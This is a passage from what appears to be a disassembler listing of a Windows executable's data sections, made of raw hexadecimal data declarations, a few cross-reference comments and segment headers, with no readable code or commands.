dd 0FDE89CFDh, 0C1475A23h, 12DEB326h, 9CA6FE62h, 0FC0D5F08h
dd 0BA8D394Dh, 25724889h, 33FEB213h, 4DFE3872h, 77159746h
dd 0FE85E125h, 9DB81F14h, 0BC15A48Eh, 73E729B7h, 0E7CE53BDh
dd 410438BAh, 2F8B120Eh, 0EF0ADCC4h, 0ED5B6A6Ch, 1B1C6B3Fh
dd 7A0DF6A0h, 0EDCF9CEDh, 9F706E05h
db 0DBh, 0A5h
word_4BB922 dw 7393h ; DATA XREF: sub_4108D0+2F4o
dd 59B8401Dh, 1F1B1E44h, 0B7D13E72h, 7C6DDD87h, 0E52D0F6Eh
dd 0D6178F05h, 0FBAA8AD1h, 3DB95BDEh, 7ECB09ACh, 5587B73h
dd 4217CF95h, 0F01EDA36h, 6145DA11h, 45BB9D39h, 5DD20AC3h
dd 0D42F0C17h, 1FB7EDE0h, 0DB1EDC11h, 60FE056h, 0E0527763h
dd 25EFBA94h, 8158EAFFh, 0B0BEEE4Bh, 5D79702h, 9D2E5234h
dd 150B1DB3h, 0DF0C8601h, 8C211068h, 0B65C455Bh, 0D87056Ah
dd 5D4F656h, 3E6506FAh, 0DBC5D770h, 10B180B9h, 70265BB6h
dd 0B66DA9C0h, 3E1707A9h, 2F200E6Fh, 0A5D9DE02h, 4B5C45B6h
dd 0AAC10B6Dh, 0FBCE1767h, 8D52A1B7h, 0B801089h, 0DAFC970Fh
dd 0D805C916h, 59063E08h, 93F1F30h, 76940841h, 9B5C0A5Bh
dd 4A3FC48Ch, 410A0Bh, 64EC3020h, 0CA9B200Ah, 0B1F2F15h
dd 0A34D924h, 17003D73h, 0FF497D12h, 9B8DE9CDh, 5CBB922Dh
dd 245B056Fh, 5B9F877h, 0C3410B76h, 2DC4B296h, 400AF4ECh
dd 0C56248Eh, 20BC0AFBh, 4D0C98F2h, 380A97AFh, 4D640D92h
dd 0B32E6DB9h, 0BCC7AC46h, 0E42410Eh, 110E114Eh, 6BC4AD0Ch
dd 8F346B00h, 5542F76h, 0A85E8FB7h, 7E0F124Bh, 6C30AF2Eh
dd 0B88C0FFCh, 411031FCh, 377CC048h, 44934110h, 94110D2h
dd 0A8D4E1Dh, 6A21F6F0h, 8BEC310Ah, 0A42E0A7Ah, 0AB79E046h
dd 7DF6D419h, 9C334D11h, 9F119FECh, 8F11A5BCh, 13B19CB0h
dd 2A1771B6h, 0A3F37386h, 0F0A3D655h, 71FE2317h, 125B638Ch
dd 3431ED50h, 0A1F0051Ah, 2E346862h, 24411239h, 12143E7Bh
dd 0E148141h, 0E016C668h, 12EFCEFCh, 90ECC524h, 0B77D4413h
dd 0B6F958D1h, 0DA42183Eh, 49EF0557h, 13AE05AFh, 0B4E44464h
dd 144FBD13h, 91559797h, 7123E814h, 46106E42h, 638655E3h
dd 0ABC68DF4h, 14DA6D20h, 31CF3AFBh, 16F2B75Dh, 3228EB0Ah
dd 0A17EF60h, 1822489Fh, 0E2F29F3Ch, 3620FF36h, 33372B19h
dd 370AB99Fh, 0BFEA381Ch, 7853A7B7h, 4684A515h, 1C1A48DFh
dd 1A813E7Eh, 946CD012h, 2EB2B90Ah, 3CC94BCDh, 3AB1321Bh
dd 7C0EBC18h, 3C140A63h, 0D637C2D7h, 3F85B3A0h, 20BFFB55h
dd 53DEAC4h, 0D588417Dh, 0C62E5A7Bh, 0EE791022h, 18FED13Fh
dd 101C6F75h, 0D8B7F7ABh, 0A1562105h, 0F36C35EFh, 0DF0C6722h
dd 3DAF1C05h, 3842ABF6h, 58F81C99h, 1666C7BDh, 1CF91C94h
dd 7D2AE408h, 0DC6080Dh, 60B75356h, 0C3162336h, 14F211B3h
dd 0F8FE10A0h, 23363DEh, 11C9E415h, 6225BBDDh, 897E0506h
dd 0D808CD8Fh, 119B1E5Eh, 2E2AD720h, 646C6A0Bh, 0C200674Ch
dd 3D731C84h, 73C06CFBh, 229C2790h, 0FB627E5h, 0D77E52A7h
dd 0A9353B06h, 0D80783Eh, 34D156CBh, 0BABBF839h, 4411CD3h
dd 1D0F3D5Fh, 0D88E408Fh, 278D73E2h, 1920B84h, 0C1961BEAh
dd 411E585Dh, 0B23BA509h, 0CCE13A1Eh, 1FB2F76Ch, 341CE80Ah
dd 0F920593Ah, 0BBE6500Ah, 0E717AE72h, 865D8F9Ah, 0F9188632h
dd 306586F6h, 4FB80520h, 0B100080Bh, 80E06221h, 0A167E36Eh
dd 8D427316h, 5847B89h, 0E7402162h, 22A2DF68h, 23E880Ah
dd 61B07B24h, 0E70A251Bh, 48BF91DEh, 2627EC4Dh, 42FD5F82h
dd 6FC32784h, 28BE2B35h, 27C380Ah, 0C873F329h, 1DF4813Fh
dd 41932955h, 0D91565A2h, 0FB760AE7h, 2B325E20h, 41C30AFBh
dd 152BC1F6h, 0C92C174Eh, 2E22CF0Ah, 11368701h, 3E400A63h
dd 8B792FC2h, 0CF30F2F3h, 318492D9h, 63762FAh, 0D2328C45h
dd 84220A5Fh, 0A5F3D34h, 83C72240h, 6264345Fh, 761595D9h
dd 0C55D0AB1h, 81622097h, 57162035h, 0CF0A3737h, 0C823F2A1h
dd 7938823Eh, 3A32F3E8h, 63829E0h, 780A630Dh, 0C93B323Eh
dd 3B3FC24Ch, 824F3CC1h, 0F1F152C6h, 37C8CCAAh, 9199540Dh
dd 0A90549B7h, 9323D032h, 971DBDAEh, 8EFA710Ch, 0CAFE4DFBh
dd 5CA4C8Ch, 48923C39h, 0B90A646Ch, 7BE98376h, 0E1864FAAh
dd 99197C27h, 0EC5D5F94h, 0BF29C632h, 5D3CD870h, 0D4467EFBh
dd 647D1111h, 0ADFD7E52h, 0FC806105h, 0FD617D56h, 0C005F5F9h
dd 0D4358F56h, 1C436213h, 0DEF3103Ah, 0EBF29305h, 0E0D88325h
dd 57DC5856h, 2204F705h, 8C3BD971h, 11BE0CEh, 0D7E54FBEh
dd 4515DFCFh, 92581CE0h, 59F57B39h, 3B0FF30Ah, 3C6B5BCFh
dd 3ED08E72h, 0FD60871Eh, 0F73FDC0Ah, 0EF0A61F8h, 0BE2B404Bh
dd 79B60A62h, 0FAF14D2h, 9164AC20h, 23D20A5Fh, 65723EECh
dd 7D425B7Ch, 0AF26679h, 0EB6733C6h, 0ECBD432Dh, 0A5F8E68h
dd 0FA6A9E55h, 71B8B98Fh, 59E0D0Ah, 0E5A812E0h, 0EDFC4C5Fh
dd 5D81A57h, 0DBDF1CE8h, 6B840127h, 0C3AA781Ah, 0DBCC1BD8h
dd 1E34DBAFh, 5FE5B705h, 6FF43C69h, 6C78D2BFh, 0A1246B1Ah
dd 720A3ED9h, 2023B72h, 0A77AE5Bh, 7B99C010h, 1C16AB7Fh
dd 0B9D603E8h, 97DC5C0Ah, 416CD06Bh, 42ECB821h, 706F0B6Dh
dd 6E57C238h, 95393E5Dh, 77D68A26h, 0BB4C475h, 0F1FCA5F4h
dd 1105F968h, 7BDC0971h, 0C1467772h, 0E31CD5A1h, 0A17C578h
dd 0BDEF7DCCh, 0A8F880Bh, 5A3C336Fh, 396B473Eh, 3EAD733Eh
dd 705BB0AAh, 3DFE1D79h, 0FC292E25h, 10700605h, 0D1BF4EDFh
dd 93B761F2h, 0A3E5A305h, 1A7177C3h, 0D6036579h, 6E5D9079h
dd 3D6C168Dh, 0A8C95DEh, 1AEF368h, 32E7BD74h, 3EAD65D5h
dd 0DE24DA60h, 0BC4FEF05h, 7C7A1005h, 22F65C22h, 0C858330Ah
dd 7774853Ah, 417A47F3h, 0E7FE8710h, 0F6447AB1h, 0B8CA1560h
dd 0E24DFB3Eh, 7A05C27Dh, 0DBFBC49Bh, 0A517F288h, 0DE18F60Ch
dd 0B711041Bh, 12FC275Ah, 117BC227h, 2E21BA3Eh, 9FD1EE10h
dd 3E6F4FF0h, 0D8059FE1h, 0FBEF7B24h, 0CB41AEB4h, 3F3F5B11h
dd 89DB0106h, 0EAB77F3Fh, 0A109F705h, 547775FFh, 34DF767Bh
dd 0A635981h, 5FFE0F8Bh, 0DF457B84h, 21657981h, 8B7285C9h
dd 1663CC03h, 0F4217D2Ch, 0FB240A8Ch, 108F7C2Eh, 0CC1496Dh
dd 2C6FD89Fh, 6FBF6619h
dword_4BBF6C dd 68051E59h, 0AC39637Ch, 2C7DEA3Eh, 7DF19D87h, 0C41D5097h
; DATA XREF: sub_40C8D0+381o
dd 2658417Eh, 770B2C76h, 3FEC17E0h, 587A527Eh, 883B149Eh
dd 0A3D5CB3Ah, 96E92F5Ah, 0B81AB547h, 0F95023CEh, 0D801672Fh
dd 87AF7EC2h, 7F70C1F5h, 67771B97h, 0EC14A00Bh, 9CE70B5Eh
dd 5F1DE090h, 866A8F80h, 448E5788h, 0A5AAED25h, 79F5053Eh
dd 0B07D4B54h, 0F6978056h, 230B70C3h, 0A0D37F9Ch, 0B68D50DDh
dd 0BEF41C75h, 0FA96A805h, 2D515FE8h, 6552D1F5h, 0DC9F29B3h
dd 0AD0F816Dh, 0C5C6F635h, 0FA1DE0A6h, 1FA3EA5Ah, 0FF81FE16h
dd 1261053Bh, 80374B8Ah, 7E8FA9F6h, 52F90540h, 5B80FD1Fh
dd 1ABFA69h, 3B816CBEh, 0E51E9468h, 3589FF81h, 0B5450165h
dd 1CD63B71h, 69B60585h, 0C07DA503h, 4B888232h, 0A376A7Bh
dd 3C351F15h, 0DB200A63h, 41054AB0h, 0BD518284h, 0CE888286h
dd 0E61C3316h, 0A1DC6CCEh, 426CDBCEh, 18179DCEh, 265D752Fh
dd 0B1448989h, 3ACDFA85h, 17F5805Ah, 0F614076Bh, 0B00543EAh
dd 1FF3B4Ch, 40B7AC57h, 0E688B9FDh, 381CAD25h, 59E08DAh
dd 53C2DEFh, 0E56582FEh, 0B8315ECh, 3A9829B9h, 5C0A3F36h
dd 0FAA08D9Ch, 3283A2B3h, 16C1EC77h, 0C7909867h, 4184AA1Eh
dd 0DC0EE223h, 79B00BCEh, 95838F7h, 0B85EC78h, 63995467h
dd 0E138071Dh, 476BE03Ah, 0CD99E07Dh, 0C105BD86h, 0F4B79B33h
dd 81F82373h, 58349F8h, 8623C2C4h, 0ED363E77h, 1DD71F98h
dd 5FB5A22h, 5F722EBh, 1B36677Fh, 0B13305EEh, 0D9CD2986h
dd 87AC0B07h, 87109CB1h, 0B723597h, 0D1E220EEh, 0FB70AD4Bh
dd 0FEE1B3BFh, 667C0503h, 0AE07FDC3h, 50FF64Bh, 3E8287F5h
dd 0B7A01AD9h, 0DB5652D6h, 6E80291Fh, 0AD303F56h, 4188BF47h
dd 583E7025h, 0AB58F888h, 0A9295FBh, 3C08001Ch, 0B765881Ah
dd 0F889B4ECh, 978A17BCh, 0B40B673Fh, 0AAED513Ch, 3B2733DDh
dd 380B6061h, 128BE4h, 0AB8C18F6h, 0AED3933Eh, 79FDFADh
dd 6F798306h, 60C0F05h, 97BFF395h, 0AA05E60Ch, 0E465658Ch
dd 28B08CE9h, 0C95E4B16h, 8D7B8D2Dh, 64180B8Eh, 938FB146h
dd 0E4DDD3DCh, 60C17389h, 0C1837A5Eh, 84DBB4BCh, 5C192390h
dd 0E70B7EECh, 9EA9936Ch, 0AD76B060h, 0AC91620Eh, 9180BD2Fh
dd 92862397h, 93AEF591h, 0FED9B865h, 48C4CF0Bh, 1EA39483h
dd 0DBD54B45h, 757B8005h, 562DF32Ah, 357D9794h, 0E60B95B2h
dd 39660898h, 272F95ADh, 740B6396h, 8049227Dh, 9717E40Bh
dd 2393BC67h, 6692A49Eh, 0B8E7C346h, 5997DDE1h, 40B3AD1Fh
dd 554D0BD5h, 4F3FE6EDh, 0EE811605h, 0D20B9E7Fh, 0E814FF99h
dd 804B97F1h, 660A98B2h, 93C84D7Ah, 521E38A3h, 602CBAC2h
dd 232C05D7h, 98B275B6h, 66D59A97h, 0B5832623h, 1CD71DACh
dd 796D05C6h, 28D1E482h, 9A099799h, 45309B42h, 0A09BAE5Dh
dd 0B1F74141h, 0EBE0ACFh, 15CBFEE2h, 829D22C2h, 129D315Eh
dd 9D37F25Eh, 2380E25Dh, 5D723FAAh, 8B6088C3h, 90683E25h
dd 6AB59694h, 4105E8Ah, 9708E897h, 0FD8DFFE8h, 0EE81FB75h
dd 18BC3292h, 4D9ABB56h, 17F4309Ch, 11168B47h, 2C66BBFh
dd 0FAC78BE9h, 0E883C22Bh, 119DA05h, 0FC9DF20h, 0FF83C8B6h
dd 0E9C103E0h, 8BA5F302h, 0A4F3C8EEh, 0D003FF11h, 2BE907C6h
dd 0EAB783D7h
db 21h, 57h
word_4BC2F6 dw 1101h ; DATA XREF: sub_40D530+2A7o
dd 4BF41712h, 672FC375h, 0FF2B664Dh, 61AAF3CFh, 0C981F3C3h
dd 1E0636F4h, 81ABB6D2h, 1000FEF8h, 23F30040h, 1DD4A80Dh
dd 0F2D46F90h, 33FBE983h, 300468F3h, 13F27F83h, 0C6135FC8h
dd 0BDF0BF0h, 23B644CBh, 0B8802C9h, 0BE529140h, 3259123Fh
dd 80E2F2D3h, 0DE0212E9h, 3C220237h, 0AF0F0BDDh, 0C9B61EBDh
dd 48B01588h, 326210DCh, 0F3DBCBADh, 0FE5D1A4Bh, 0C933F251h
dd 0DFD93BF2h, 8BA45409h, 0B975DBC1h, 0F3D4A41Eh, 0E03E5B0Bh
dd 0BEC4F0h, 0F249BF70h, 0F7BBB91h, 22392855h, 5CB9566Fh
dd 91DDF359h, 6F34408Ah, 0F232191Eh, 86F281FFh, 8AF2860Ch
dd 0EA80E30Eh, 656DE130h, 5F236358h, 38152F95h, 0A656220Ah
dd 0F29FFDB7h, 0CEFFC3F7h, 136F9A00h, 0B775C3F5h, 43F0B8C0h
dd 0F304F2FDh, 0B0C603F3h, 28AA805Dh, 1C86358Dh, 41D9764Fh
dd 0B8EF5Fh, 0AF3F70Bh, 3D7EB71Ch, 0C8BFF61h, 0F2C82B11h
dd 8EC1DD68h, 0FF5052F3h, 255B8864h, 0E2916888h, 8BDF0364h
dd 0F2591F22h, 5A04220Ch, 0DC59155Eh, 0D32A4632h, 74146E11h
dd 3705FB02h, 73055D83h, 0C146F2FDh, 0BD4B10C8h, 2BB2F1FAh
dd 6D4FD89Eh, 827590FBh, 48BB6ABBh, 7A286DBDh, 74D13085h
dd 4C2FB829h, 50000900h, 2E82BD21h, 17A76BB1h, 704D65ACh
dd 38DC2A76h, 3D88ADD7h, 53AEBA51h, 4BADDD11h, 0F3F77A04h
dd 5600C96Bh, 10DC2E02h, 75EE7642h, 79D41EC5h, 0ADD08C3h
dd 65B5A881h, 751D062Dh, 6F2802EBh, 2D1E8A62h, 0F50FD472h
dd 50C75B1Fh, 0C338h, 24000000h, 0FFh, 1DBh dup(0)
dword_4BCC18 dd 0 ; DATA XREF: sub_418F60+B4r
align 400h
_29C6B529 ends
; Section 6. (virtual address 000BD000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000BD000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4BD000h
align 2000h
_idata2 ends
end start